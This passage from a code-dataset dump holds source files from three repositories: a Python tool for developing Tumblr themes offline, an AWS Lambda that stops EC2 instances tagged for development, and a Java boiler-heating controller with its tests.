"src_encoding": "UTF-8",
"text": "# get a build number using number of total commits\nB_NUMBER=`git log | grep ^commit | wc -l | perl -ne '$_=~s/[^0-9]//g;print $_;'`\n# put it in a conf file so we can show it that way in the ui dialog\necho \"build_version = 'build $B_NUMBER'\" > src/conf.py\n\ncd src/\npython main.py\n"
},
{
"alpha_fraction": 0.6034482717514038,
"alphanum_fraction": 0.6896551847457886,
"avg_line_length": 28,
"blob_id": "3c2bdb4439c656f7713abc8f6506a4a534eb5e92",
"content_id": "6d7e4d932ff87f477fc7c53b8f9f3a738816d0cf",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 58,
"license_type": "permissive",
"max_line_length": 49,
"num_lines": 2,
"path": "/run_server.sh",
"repo_name": "landsurveyorsunited/tumblrthemr",
"src_encoding": "UTF-8",
"text": "cd src/\npython server.py --path ../projects/ --port 13323\n"
},
{
"alpha_fraction": 0.6831275820732117,
"alphanum_fraction": 0.6847736835479736,
"avg_line_length": 17.69230842590332,
"blob_id": "e04ab96da2775ce1b6900663ef679f4a2894532c",
"content_id": "0ad9eb3828e8a08e3238b743924dd491f2fde3d1",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1215,
"license_type": "permissive",
"max_line_length": 90,
"num_lines": 65,
"path": "/src/main.py",
"repo_name": "landsurveyorsunited/tumblrthemr",
"src_encoding": "UTF-8",
"text": "import sys\nimport argparse\nfrom glob import glob\nfrom multiprocessing import Process, Pipe, Queue\nfrom dialog.TTIntroDialog import TTIntroDialog\nimport wx\nimport time\nimport webbrowser\n\nimport server\nimport conf\n\nprint \"ARGS\", __file__\n\ngui_proc = Process()\nsrv_proc = None\n\npath = None\n\n\ndef start_server():\n\t#server.init( args )\n\tserver.start()\n\tpass\n\ndef on_end():\n\tglobal srv_proc\n\tif srv_proc:\n\t\tprint \"ON_END -> trying\"\n\t\tsrv_proc.terminate()\n\t\tsrv_proc = None\n\t\treturn True\ndef shutdown():\n\ton_end()\n\tsys.exit(-1)\n\ndef on_start( path, port ):\n\tglobal srv_proc\n\t#print \"ON_START(%s:%s)\" % (path,port)\n\tif path:\n\t\t#print \"ON_START -> TRYING -> %s\" % path\n\t\ttry:\n\t\t\tsrv_proc = Process( target=server.start,args=(path,port) )\n\t\t\tsrv_proc.start()\n\t\t\ttime.sleep(1)\n\t\t\twebbrowser.open( \"http://localhost:%s\" %(port) )\n\t\texcept Exception, e:\n\t\t\tprint e.message\n\n\t\treturn True\n\tprint \"ON_START -> :(\"\n\treturn False\n\ndef gui_start():\n\tapp = wx.App()\n\tdialog = TTIntroDialog( on_start = on_start, on_end = on_end )\n\tdialog.set_build_info(conf.build_version)\n\tprint 'showing dialog'\n\tdialog.Show()\n\tapp.MainLoop()\n\n\ngui_start()\n\n#sys.argv.extend(['--path','/Users/kalyan/Dropbox/Projects/Labs/tumblrtemplatr/projects'])\n"
},
{
"alpha_fraction": 0.6296296119689941,
"alphanum_fraction": 0.7037037014961243,
"avg_line_length": 26,
"blob_id": "63e61ebf055d745bfd2333c07e2ee0c5bbe5d083",
"content_id": "ebf4cab77cfcf9a838cde3094314fa857dc7eedc",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 27,
"license_type": "permissive",
"max_line_length": 26,
"num_lines": 1,
"path": "/src/conf.py",
"repo_name": "landsurveyorsunited/tumblrthemr",
"src_encoding": "UTF-8",
"text": "build_version = 'build 18'\n"
},
{
"alpha_fraction": 0.571536123752594,
"alphanum_fraction": 0.6106927990913391,
"avg_line_length": 32.73728942871094,
"blob_id": "54a4334ba42de4a89b603861c4f01186dd047ad4",
"content_id": "64fc7b85b91ea83309d3a573e141135fa6354901",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 3984,
"license_type": "permissive",
"max_line_length": 211,
"num_lines": 118,
"path": "/src/dialog/BaseTemplatrDialog.py",
"repo_name": "landsurveyorsunited/tumblrthemr",
"src_encoding": "UTF-8",
"text": "# -*- coding: utf-8 -*- \r\r###########################################################################\r## Python code generated with wxFormBuilder (version Nov 27 2012)\r## http://www.wxformbuilder.org/\r##\r## PLEASE DO \"NOT\" EDIT THIS FILE!\r###########################################################################\r\rimport wx\rimport wx.xrc\r\r###########################################################################\r## Class BaseDialog\r###########################################################################\r\rclass BaseDialog ( wx.Frame ):\r\t\r\tdef __init__( self, parent ):\r\t\twx.Frame.__init__ ( self, parent, id = wx.ID_ANY, title = u\"Tumblr Themr - Develop tumblr themes offline\", pos = wx.DefaultPosition, size = wx.Size( 600,400 ), style = wx.DEFAULT_FRAME_STYLE|wx.TAB_TRAVERSAL )\r\t\t\r\t\tself.SetSizeHintsSz( wx.DefaultSize, wx.Size( 600,400 ) )\r\t\tself.SetForegroundColour( wx.Colour( 255, 255, 255 ) )\r\t\tself.SetBackgroundColour( wx.Colour( 255, 255, 255 ) )\r\t\t\r\t\tgSizer2 = wx.GridSizer( 0, 2, 0, 0 )\r\t\t\r\t\tbSizer5 = wx.BoxSizer( wx.VERTICAL )\r\t\t\r\t\tself.intro_bitmap = wx.StaticBitmap( self, wx.ID_ANY, wx.Bitmap( u\"dialog/bg.bmp\", wx.BITMAP_TYPE_ANY ), wx.DefaultPosition, wx.DefaultSize, 0 )\r\t\tself.intro_bitmap.SetMaxSize( wx.Size( 250,400 ) )\r\t\t\r\t\tbSizer5.Add( self.intro_bitmap, 0, wx.ALL, 5 )\r\t\t\r\t\t\r\t\tgSizer2.Add( bSizer5, 1, wx.EXPAND, 5 )\r\t\t\r\t\tbSizer7 = wx.BoxSizer( wx.VERTICAL )\r\t\t\r\t\t\r\t\tbSizer7.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 )\r\t\t\r\t\tself.m_staticText11 = wx.StaticText( self, wx.ID_ANY, u\"Select Themes Directory\", wx.Point( -1,-1 ), wx.DefaultSize, 0 )\r\t\tself.m_staticText11.Wrap( -1 )\r\t\tbSizer7.Add( self.m_staticText11, 0, wx.ALL, 5 )\r\t\t\r\t\tself.themes_directory = wx.DirPickerCtrl( self, wx.ID_ANY, wx.EmptyString, u\"Select a folder\", wx.Point( 100,100 ), wx.DefaultSize, wx.DIRP_DEFAULT_STYLE )\r\t\tself.themes_directory.Enable( False )\r\t\t\r\t\tbSizer7.Add( self.themes_directory, 0, wx.ALL, 5 )\r\t\t\r\t\tself.m_staticText5 = wx.StaticText( self, wx.ID_ANY, u\"Port\", wx.DefaultPosition, wx.DefaultSize, 0 )\r\t\tself.m_staticText5.Wrap( -1 )\r\t\tbSizer7.Add( self.m_staticText5, 0, wx.ALL, 5 )\r\t\t\r\t\tself.server_port = wx.TextCtrl( self, wx.ID_ANY, u\"13323\", wx.DefaultPosition, wx.DefaultSize, 0 )\r\t\tself.server_port.SetMaxLength( 6 ) \r\t\tbSizer7.Add( self.server_port, 0, wx.ALL, 10 )\r\t\t\r\t\t\r\t\tbSizer7.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 )\r\t\t\r\t\tself.status_text = wx.StaticText( self, wx.ID_ANY, wx.EmptyString, wx.Point( -1,-1 ), wx.DefaultSize, 0 )\r\t\tself.status_text.Wrap( -1 )\r\t\tbSizer7.Add( self.status_text, 0, wx.ALL, 5 )\r\t\t\r\t\tself.server_ctrl_button = wx.Button( self, wx.ID_ANY, u\"Start Server\", wx.DefaultPosition, wx.DefaultSize, 0 )\r\t\tbSizer7.Add( self.server_ctrl_button, 0, wx.ALL, 5 )\r\t\t\r\t\t\r\t\tbSizer7.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 )\r\t\t\r\t\tself.build_info = wx.StaticText( self, wx.ID_ANY, wx.EmptyString, wx.DefaultPosition, wx.DefaultSize, 0 )\r\t\tself.build_info.Wrap( -1 )\r\t\tself.build_info.SetFont( wx.Font( 10, 70, 90, 90, False, wx.EmptyString ) )\r\t\t\r\t\tbSizer7.Add( self.build_info, 0, wx.ALL, 5 )\r\r\t\t\r\t\t\r\t\tbSizer7.AddSpacer( ( 0, 0), 1, wx.EXPAND, 5 )\r\t\t\r\t\t\r\t\tgSizer2.Add( bSizer7, 1, wx.EXPAND, 5 )\r\t\t\r\t\t\r\t\tself.SetSizer( gSizer2 )\r\t\tself.Layout()\r\t\tself.m_menubar1 = wx.MenuBar( 0 )\r\t\tself.m_menu1 = wx.Menu()\r\t\tself.how_to_use = wx.MenuItem( self.m_menu1, wx.ID_ANY, u\"How to use?\", wx.EmptyString, wx.ITEM_NORMAL )\r\t\tself.m_menu1.AppendItem( self.how_to_use )\r\t\t\r\t\tself.m_menubar1.Append( self.m_menu1, u\"Help\" ) \r\t\t\r\t\tself.SetMenuBar( self.m_menubar1 )\r\t\t\r\t\t\r\t\tself.Centre( wx.BOTH )\r\t\t\r\t\t# Connect Events\r\t\tself.Bind( wx.EVT_CLOSE, self.exit_server )\r\t\tself.themes_directory.Bind( wx.EVT_DIRPICKER_CHANGED, self.select_path )\r\t\tself.server_ctrl_button.Bind( wx.EVT_BUTTON, self.start_server )\r\t\r\tdef __del__( self ):\r\t\tpass\r\t\r\t\r\t# Virtual event handlers, overide them in your derived class\r\tdef exit_server( self, event ):\r\t\tevent.Skip()\r\t\r\tdef select_path( self, event ):\r\t\tevent.Skip()\r\t\r\tdef start_server( self, event ):\r\t\tevent.Skip()\r\t\r\r"
},
{
"alpha_fraction": 0.6963657736778259,
"alphanum_fraction": 0.7006643414497375,
"avg_line_length": 27.64179039001465,
"blob_id": "2844714cf27450ad7a322c01338368c34258e6df",
"content_id": "0d4f67a51e0517b903e17b4c06c60c290657c347",
"detected_licenses": [
"MIT"
],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 7677,
"license_type": "permissive",
"max_line_length": 124,
"num_lines": 268,
"path": "/src/server.py",
"repo_name": "landsurveyorsunited/tumblrthemr",
"src_encoding": "UTF-8",
"text": "import engine\nfrom dialog import TTIntroDialog\nimport urllib\nimport argparse\nimport sys\nimport bottle\nimport time\nimport json\nimport re\nimport os\nimport webbrowser\nfrom BeautifulSoup import BeautifulSoup as Soup\nimport pickle\nimport errno\nfrom glob import glob\n\nfrom jinja2 import Template\n\nDEFAULT_SRC = 'default'\nCURRENT_SRC = 'current_source'\nAPI_KEY = 'api_key'\n\nPROJECTS_DIRECTORY = \"projects\"\nproject = 'clarus'\napp = bottle.Bottle()\n\n\n# setup some defaults\n# hope this works\nbase_data_path = os.path.expanduser('~/com.lonefish.net/tte/')\ndata_source_path = base_data_path+'import_sources.txt'\ndata_source = {'data':{}}\n\ndef mkdir_p(path):\n\ttry:\n\t\tos.makedirs(path)\n\texcept OSError as exc: # Python >2.5\n\t\tif exc.errno == errno.EEXIST and os.path.isdir(path):\n\t\t\tpass\n\t\telse:\n\t\t\traise\n\ndef render(name, values):\n\ttemplate_content = open(\"templates/%s\" % name, 'r').read()\n\ttemplate = Template(template_content)\n\treturn template.render(**values)\n\n# small util to save the data data to file!\ndef __save_data():\n\tglobal data_source, data_source_path\n\tfh = open(data_source_path,'wb+')\n\tpickle.dump(data_source,fh)\n\tfh.close()\n\n# if path doesn't exist, create\nif not os.path.exists(base_data_path):\n\tmkdir_p(base_data_path)\n\n# if path exists, then load the data\nif os.path.exists(base_data_path):\n\ttry:\n\t\t# this won't exist\n\t\tfh = open(data_source_path,'rb')\n\t\tdata_source = pickle.load(fh)\n\texcept Exception, e:\n\t\tprint \">>>>\", e.message\n\t\tdata_source = {}\n\t\tdata_source['data'] = {}\n\n# now load the most default data pack\n# we need it in case things get effedup!\n# if data_source and type(data_source) == dict:\njsonData = json.load( open(\"data/sampleData.json\",'r') )\ndata_source['data'][DEFAULT_SRC] = jsonData\n\n# put this in a var\ncurrent_data_source_name = None\nif data_source.has_key(CURRENT_SRC):\n\tcurrent_data_source_name = data_source[CURRENT_SRC]\nelse:\n\tcurrent_data_source_name = DEFAULT_SRC\n\n# bad idea, but okay for now\ncurrent_data_source = data_source['data'].get(current_data_source_name)\n\nshutdown_callback = None\n\n# fetches data from current active data souce and renders the theme\ndef render_theme(the_path):\n\tglobal data_source, current_data_source, current_data_source_name\n\tcurrent_data_source = data_source['data'][current_data_source_name]\n\ts_time = time.time()\n\ttry:\n\t\tcontent = open(the_path, 'r').read()\n\t\t# Soupify and Extract meta tags\n\t\tsoup = Soup( content )\n\t\tmetaTags = { tag['name'] : tag['content'] for tag in soup.findAll('meta', attrs={'name':re.compile('^([a-zA-Z]+):.*')} ) }\n\t\ttpl = engine.Template( content )\n\t\t# Compile the template\n\t\ttpl.compile()\n\t\t# Fetch the default template to map the data to template\n\t\t# this basically has rules on how to render each tag from raw json\n\t\tcontextTemplate = engine.defaultContextMapperTemplate()\n\t\t# Update data template with info on how to map meta data\n\t\tcontextTemplate.update( engine.metaContextTemplate( metaTags ) )\n\t\t# create the mapper object\n\t\tcontextDataMap = engine.ContextDataMapper( current_data_source['response'], contextTemplate )\n\t\t# Render the tumblr template with the data map we constructed\n\t\toutput = tpl.render(contextDataMap)\n\texcept Exception, e:\n\t\treturn 'Template Compile Error : ' + e.message\n\n\t# Fetch hthe default context mapper template \n\te_time = time.time()\n\tdebug_info = \"\\n<!-- Time to compile and render: %s -->\" % (e_time-s_time)\n\treturn output + debug_info\n\n\[email protected](404)\ndef render_404(**kwargs):\n\treturn '404!'\n\n# For future\ndef render_favicon(**kwargs):\n\treturn None\n\n# the home!\[email protected]('/')\ndef home():\n\tglobal PROJECTS_DIRECTORY\n\tglobal data_source, current_data_source, current_data_source_name\n\t\n\tprjs = glob(PROJECTS_DIRECTORY.rstrip('/') + \"/*\")\n\tprjs_names = map( os.path.basename, prjs )\n\n\tsrcs_names = data_source['data'].keys()\n\tsrc_active = current_data_source_name\n\n\treturn render( 'index.html', {\n\t\t# 'debug_info':'hello',\n\t\t'projects':prjs_names, \n\t\t'sources':srcs_names, \n\t\t'active_src':current_data_source_name,\n\t\t'api_key' : data_source.get(API_KEY,'')\n\t\t})\n\[email protected]('/api/select_source/<source_name>')\ndef select_source(source_name,**kwargs):\n\tglobal data_source, current_data_source, current_data_source_name\n\n\tdata_source[CURRENT_SRC] = current_data_source_name = source_name\n\tcurrent_data_source = data_source['data'][current_data_source_name]\n\t__save_data()\n\n\tbottle.redirect('/')\n\tpass\n\[email protected]('/api/remove_source/<source_name>')\ndef remove_source(source_name,**kwargs):\n\tglobal data_source, current_data_source, current_data_source_name\n\n\tdel data_source['data'][source_name]\n\t# if we are deleting active source, switch back to default one\n\tif current_data_source_name == source_name:\n\t\tdata_source[CURRENT_SRC] = current_data_source_name = DEFAULT_SRC\n\t\tcurrent_data_source = data_source['data'][current_data_source_name]\n\n\t__save_data()\n\n\tbottle.redirect('/')\n\n# lets you import json blog data from tumblr if you have an api key\[email protected]('/api/import_source',method='POST')\ndef import_source():\n\tglobal data_source, current_data_source, current_data_source_name\n\tapi_key = bottle.request.forms.get('api_key')\n\tsrc_name = blog_uname = bottle.request.forms.get('blog_uname')\n\n\turl_template = \"http://api.tumblr.com/v2/blog/%s/posts?api_key=%s\" # api_key, blog_url\n\tblog_url_template = \"%s.tumblr.com\"\n\n\n\tdata_source[API_KEY] = api_key\n\t__save_data()\n\n\tsrc_name = src_name.replace(' ', '_')\n\tblog_url = blog_url_template % blog_uname\n\n\ttry:\n\t\tfinal_url = url_template % (blog_url,api_key)\n\t\tcontent = urllib.urlopen( final_url ).read()\n\t\tcontent = json.loads(content)\n\t\tif content.has_key('response') and content['meta']['status'] != 404:\n\t\t\tdata_source['data'][src_name] = content\n\t\t\tdata_source[CURRENT_SRC] = src_name\n\t\t\t__save_data()\n\t\telse:\n\t\t\traise Exception(content['meta']['msg'])\n\texcept Exception, e:\n\t\tprint 'ERROR', e.message\n\n\tbottle.redirect('/')\n\[email protected]('/<project>')\[email protected](\"/<project>/<file_path:re:.*>\")\ndef render_page(project,**kwargs):\n\tglobal data_source, current_data_source, current_data_source_name\n\tprint \"PROJ\", project, kwargs\n\t# TODO:Simplify\n\tfile_path = kwargs.get('file_path','index.html')\n\tif file_path is '':\n\t\tfile_path = 'index.html'\n\n\t# Output is stupid\n\tif project == 'favicon.ico':\n\t\treturn render_favicon()\n\n\t# Get started\n\ttheme_directory = PROJECTS_DIRECTORY + '/' + project + '/'\n\tthe_path = theme_directory + file_path\n\tprint \"Theme path \", the_path, os.path.exists(the_path)\n\n\tif os.path.exists(the_path):\n\t\t# If its ending with html, render it as a tumblr theme\n\t\tif the_path.lower().endswith('.html') or the_path.lower().endswith('.htm'):\n\t\t\treturn render_theme(the_path)\n\t\telse:\n\t\t\t# Serve it from the theme's directory\n\t\t\treturn bottle.static_file(file_path,theme_directory)\n\telse:\n\t\treturn '404 - %s | %s | %s' % (the_path,theme_directory,project) #+ render_404()\n\ndef start( path=PROJECTS_DIRECTORY, port=8080 ):\n\tglobal PROJECTS_DIRECTORY\n\tPROJECTS_DIRECTORY = path\n\tprint \"DO START (%s,%s)\" % (path,port);\n\tbottle.debug()\n\tbottle.run( app, host='localhost', port=port, reloader=False )\n\ndef end():\n\tsys.exit(0)\n\nsysargs = None\ndef init(args):\n\tglobal sysargs\n\tsysargs = args \n\n# Get things from command line - makes it easy for testing\nif sys.argv[0] == __file__ :\n\targp = argparse.ArgumentParser()\n\targp.add_argument( '--path' )\n\targp.add_argument( '--port', default=8080 )\n\targs = argp.parse_args( sys.argv[1:] )\n\n\t# Extract arguments\n\tpath = args.path.strip().rstrip(\"/\").rstrip(\"\\\\\")\n\tport = args.port\n\n\tpath = os.path.abspath(path)\n\tprint \"LETS GO \", path\n\n\t# Strip trailing slashes if the path is valid\n\tif path:\n\t\tif os.path.isdir(path):\n\t\t\twebbrowser.open( \"http://localhost:%s\" %(port) )\n\t\t\tstart( port=port, path=path )\n\telse:\n\t\tprint \"SHIT!\"\n\n"
}
] | 9 |
fepereiro/TurnOffEC2 | https://github.com/fepereiro/TurnOffEC2 | d233dcb2bc236cc1b2a63d794f27e8eec4aa84f3 | 3a6035e6d70589b21e7264b1d61195affc09a209 | 9897623f6aec1f2d92c78fe2e887a313fa440e4c | refs/heads/master | 2021-01-01T06:16:21.358476 | 2017-07-16T17:57:41 | 2017-07-16T17:57:41 | 97,400,433 | 1 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6221628785133362,
"alphanum_fraction": 0.6368491053581238,
"avg_line_length": 34.66666793823242,
"blob_id": "e73a43454b20fd7b4ec415f9101e4e8abc1a52a5",
"content_id": "bdb7af7be1fd687739e4c69730733086f976d5c5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 749,
"license_type": "no_license",
"max_line_length": 80,
"num_lines": 21,
"path": "/TurnOffEC2.py",
"repo_name": "fepereiro/TurnOffEC2",
"src_encoding": "UTF-8",
"text": "from __future__ import print_function\n\nimport boto3\n\ndef toggle_instance(instance):\n ec2 = boto3.resource(\"ec2\", region_name=\"eu-west-1\")\n instance = ec2.Instance(instance[\"InstanceId\"])\n instance.stop()\n print('Instance stopped.')\n\ndef lambda_handler(event, context):\n print('Looking for instances.')\n ec2_client = boto3.client(\"ec2\", region_name=\"eu-west-1\")\n description = ec2_client.describe_instances( Filters=[ { 'Name': 'tag-key', \n 'Values': ['env'] },\n { 'Name': 'tag-value', 'Values' : ['dev'] }])\n\n for reservation in description[\"Reservations\"]:\n for instance in reservation[\"Instances\"]:\n print('Instance: {}'.format(instance[\"InstanceId\"]))\n toggle_instance(instance)\n"
}
] | 1 |
devjos/boiler | https://github.com/devjos/boiler | 6e85b55e0758da3ca3d4782cc69dd9e9c8c84fd3 | 8aec50c29ce532b386974bfb6fcb45f348555877 | ef95940e1838de91850849b454f2ab1359cca166 | refs/heads/master | 2022-01-01T19:03:11.151472 | 2021-12-23T08:46:12 | 2021-12-23T08:46:12 | 115,039,424 | 1 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.688622772693634,
"alphanum_fraction": 0.7604790329933167,
"avg_line_length": 46.71428680419922,
"blob_id": "0bc8c1d0cfaaf640fdb8dc472c9b6939b09416c8",
"content_id": "1efdbc3f4bc72486be7c4c0ab79c0b1f57bf4cb2",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 2004,
"license_type": "permissive",
"max_line_length": 116,
"num_lines": 42,
"path": "/BoilerSteuerung/src/test/java/de/schleger/boiler/heat/HeatTimeInterpolatorTest.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.heat;\n\nimport static org.hamcrest.CoreMatchers.equalTo;\nimport static org.junit.Assert.assertThat;\n\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport de.schleger.boiler.config.HeatPower;\n\npublic class HeatTimeInterpolatorTest {\n private HeatTimeInterpolator heatTimeInterpolator;\n\n @Before\n public void setUp() {\n heatTimeInterpolator = new HeatTimeInterpolatorImpl();\n }\n\n @Test\n public void canInterplolateHeizstufe1() {\n assertThat(heatTimeInterpolator.interpolateTimeToHeat(6.0f, HeatPower.HEAT_POWER_1), equalTo(351.68256F));\n assertThat(heatTimeInterpolator.interpolateTimeToHeat(26.81f, HeatPower.HEAT_POWER_1), equalTo(689.6192F));\n }\n\n @Test\n public void canInterplolateHeizstufe2() {\n assertThat(heatTimeInterpolator.interpolateTimeToHeat(2.5f, HeatPower.HEAT_POWER_2), equalTo(126.78576F));\n assertThat(heatTimeInterpolator.interpolateTimeToHeat(6.0f, HeatPower.HEAT_POWER_2), equalTo(234.45503F));\n assertThat(heatTimeInterpolator.interpolateTimeToHeat(17.2f, HeatPower.HEAT_POWER_2), equalTo(433.41953F));\n assertThat(heatTimeInterpolator.interpolateTimeToHeat(26.81f, HeatPower.HEAT_POWER_2), equalTo(459.74612F));\n }\n\n @Test\n public void canInterplolateHeizstufe3() {\n assertThat(heatTimeInterpolator.interpolateTimeToHeat(2.5f, HeatPower.HEAT_POWER_3), equalTo(62.507915F));\n assertThat(heatTimeInterpolator.interpolateTimeToHeat(6.0f, HeatPower.HEAT_POWER_3), equalTo(79.371895F));\n assertThat(heatTimeInterpolator.interpolateTimeToHeat(14.0f, HeatPower.HEAT_POWER_3), equalTo(114.09865F));\n assertThat(heatTimeInterpolator.interpolateTimeToHeat(17.2f, HeatPower.HEAT_POWER_3), equalTo(125.525764F));\n assertThat(heatTimeInterpolator.interpolateTimeToHeat(22.8f, HeatPower.HEAT_POWER_3), equalTo(139.46776F));\n assertThat(heatTimeInterpolator.interpolateTimeToHeat(26.81f, HeatPower.HEAT_POWER_3), equalTo(152.1142F));\n }\n}\n"
},
{
"alpha_fraction": 0.5830039381980896,
"alphanum_fraction": 0.5909090638160706,
"avg_line_length": 25.63157844543457,
"blob_id": "acb3cad75143a22402f1dbce23e3508c906e8406",
"content_id": "3d3acf10a48364a6232196841f43a91477cd9c5a",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 2024,
"license_type": "permissive",
"max_line_length": 118,
"num_lines": 76,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/heat/HeatCostCalculatorImpl.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.heat;\n\nimport java.time.LocalDateTime;\nimport java.time.temporal.ChronoUnit;\n\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\n\nimport de.schleger.boiler.config.ConfigProviderIn;\nimport de.schleger.boiler.config.HeatPower;\n\nimport static de.schleger.boiler.time.BoilerTime.isNight;\n\npublic class HeatCostCalculatorImpl implements HeatCostCalculator {\n private static final Logger LOG = LogManager.getLogger(HeatCostCalculatorImpl.class);\n\n private final ConfigProviderIn configProvider;\n\n public HeatCostCalculatorImpl(ConfigProviderIn configProvider) {\n this.configProvider = configProvider;\n }\n\n @Override\n public float calculate(LocalDateTime start, LocalDateTime end, HeatPower heatPower) {\n\n long seconds = ChronoUnit.SECONDS.between(start, end);\n\n final float kw;\n\n switch (heatPower) {\n case HEAT_POWER_0:\n kw = 0;\n break;\n\n case HEAT_POWER_1:\n kw = 2;\n break;\n\n case HEAT_POWER_2:\n kw = 4;\n break;\n\n case HEAT_POWER_3:\n kw = 6;\n break;\n\n default:\n // unknwon\n kw = 0;\n break;\n }\n\n float kwh = kw * seconds / 60 / 60;\n\n final float pricePerKwh;\n if (isNight(start)) {\n if (isNight(end)) {\n pricePerKwh = configProvider.getEuroPerKwhNight();\n } else {\n LOG.warn(\"start in night, end in day. will take the price of the night for heating cost calculation\");\n pricePerKwh = configProvider.getEuroPerKwhNight();\n }\n } else {\n if (isNight(end)) {\n LOG.warn(\"start in day, end in night not implemented yet\");\n pricePerKwh = 0;\n } else {\n pricePerKwh = configProvider.getEuroPerKwhDay();\n }\n }\n float eur = kwh * pricePerKwh;\n\n return eur;\n }\n\n}\n"
},
{
"alpha_fraction": 0.7518593668937683,
"alphanum_fraction": 0.7592968344688416,
"avg_line_length": 32.6136360168457,
"blob_id": "1e8d88d56be2a0afdc2a54487ce0e4521eccaf06",
"content_id": "94014e04fe3b5483b526c4dafb9280bd79d0eba4",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1479,
"license_type": "permissive",
"max_line_length": 97,
"num_lines": 44,
"path": "/BoilerSteuerung/src/test/java/de/schleger/boiler/analyze/TemperatureAnalyzerFileTest.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.analyze;\n\nimport static org.hamcrest.CoreMatchers.equalTo;\nimport static org.junit.Assert.assertThat;\n\nimport java.io.File;\nimport java.io.IOException;\n\nimport org.junit.Before;\nimport org.junit.Test;\n\nimport de.schleger.boiler.temperature.Temperature;\nimport de.schleger.boiler.temperature.TemperatureImpl;\n\npublic class TemperatureAnalyzerFileTest {\n private static final String TEMP_LOG = \"temp.log\";\n private static final String TEMP_ERROR_LOG = \"bin/temp_dirtyfile.log\";\n private static final File FILE = new File(TEMP_LOG);\n private static final File FILE_ERROR = new File(TEMP_ERROR_LOG);\n\n private TemperatureAnalyzerFileImpl temperaturProviderFileImpl;\n\n @Before\n public void setUp() {\n temperaturProviderFileImpl = new TemperatureAnalyzerFileImpl(FILE);\n temperaturProviderFileImpl.update();\n }\n\n @Test\n public void readAverageTemperatureFromFile() throws IOException {\n Temperature temperatureImpl = new TemperatureImpl(27.003334f);\n\n assertThat(temperaturProviderFileImpl.getAverageTemperature(), equalTo(temperatureImpl));\n }\n\n @Test\n public void canHandleDirtyTempLog() {\n temperaturProviderFileImpl = new TemperatureAnalyzerFileImpl(FILE_ERROR);\n temperaturProviderFileImpl.update();\n\n Temperature temperatureImpl = new TemperatureImpl(100f);\n assertThat(temperaturProviderFileImpl.getAverageTemperature(), equalTo(temperatureImpl));\n }\n}\n"
},
{
"alpha_fraction": 0.6670299768447876,
"alphanum_fraction": 0.6686648726463318,
"avg_line_length": 29.081966400146484,
"blob_id": "c087ee563f82a1e11ae1904a1e2bd4161d741f90",
"content_id": "d65796e95bbea2f89fac1c5b0720c78a3f3ed551",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 1835,
"license_type": "permissive",
"max_line_length": 92,
"num_lines": 61,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/config/ConfigProviderOutFileImpl.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
"text": "package de.schleger.boiler.config;\n\nimport java.beans.PropertyChangeEvent;\nimport java.beans.PropertyChangeListener;\nimport java.io.File;\nimport java.io.FileOutputStream;\nimport java.io.IOException;\nimport java.util.Properties;\n\nimport org.apache.commons.io.IOUtils;\nimport org.apache.logging.log4j.Level;\nimport org.apache.logging.log4j.LogManager;\nimport org.apache.logging.log4j.Logger;\n\npublic class ConfigProviderOutFileImpl implements PropertyChangeListener {\n private static final Logger LOG = LogManager.getLogger(ConfigProviderOutFileImpl.class);\n\n private final Properties prop = new Properties();\n private final File file;\n\n public ConfigProviderOutFileImpl(File file) {\n this.file = file;\n }\n\n private void writePropertiesToFile() {\n LOG.log(Level.INFO, prop.entrySet());\n\n FileOutputStream fileOutputStream = null;\n\n try {\n fileOutputStream = new FileOutputStream(file);\n prop.store(fileOutputStream, null);\n } catch (IOException e) {\n LOG.log(Level.ERROR, \"Es konnte die Datei nicht geschrieben werden\", e);\n } finally {\n IOUtils.closeQuietly(fileOutputStream);\n }\n }\n\n @Override\n public void propertyChange(PropertyChangeEvent evt) {\n switch (evt.getPropertyName()) {\n case \"heatPower\":\n HeatPower heatPower = (HeatPower) evt.getNewValue();\n prop.setProperty(ConfigKeyOut.HEAT_LEVEL.toString(), heatPower.toString());\n writePropertiesToFile();\n break;\n\n case \"fillLevel\":\n float fillLevel = (float) evt.getNewValue();\n prop.setProperty(ConfigKeyOut.FILL_LEVEL.toString(), Float.toString(fillLevel));\n writePropertiesToFile();\n break;\n\n default:\n break;\n }\n\n }\n\n}\n"
},
{
"alpha_fraction": 0.8132780194282532,
"alphanum_fraction": 0.8132780194282532,
"avg_line_length": 25.77777862548828,
"blob_id": "376ddd1fa2dbca1b57eb473bb138c1665a93b190",
"content_id": "4939afb63033193e1135d37cb68fc54fac9cd28a",
"detected_licenses": [
"Apache-2.0"
],
"is_generated": false,
"is_vendor": false,
"language": "Java",
"length_bytes": 241,
"license_type": "permissive",
"max_line_length": 88,
"num_lines": 9,
"path": "/BoilerSteuerung/src/main/java/de/schleger/boiler/heat/HeatCostCalculator.java",
"repo_name": "devjos/boiler",
"src_encoding": "UTF-8",
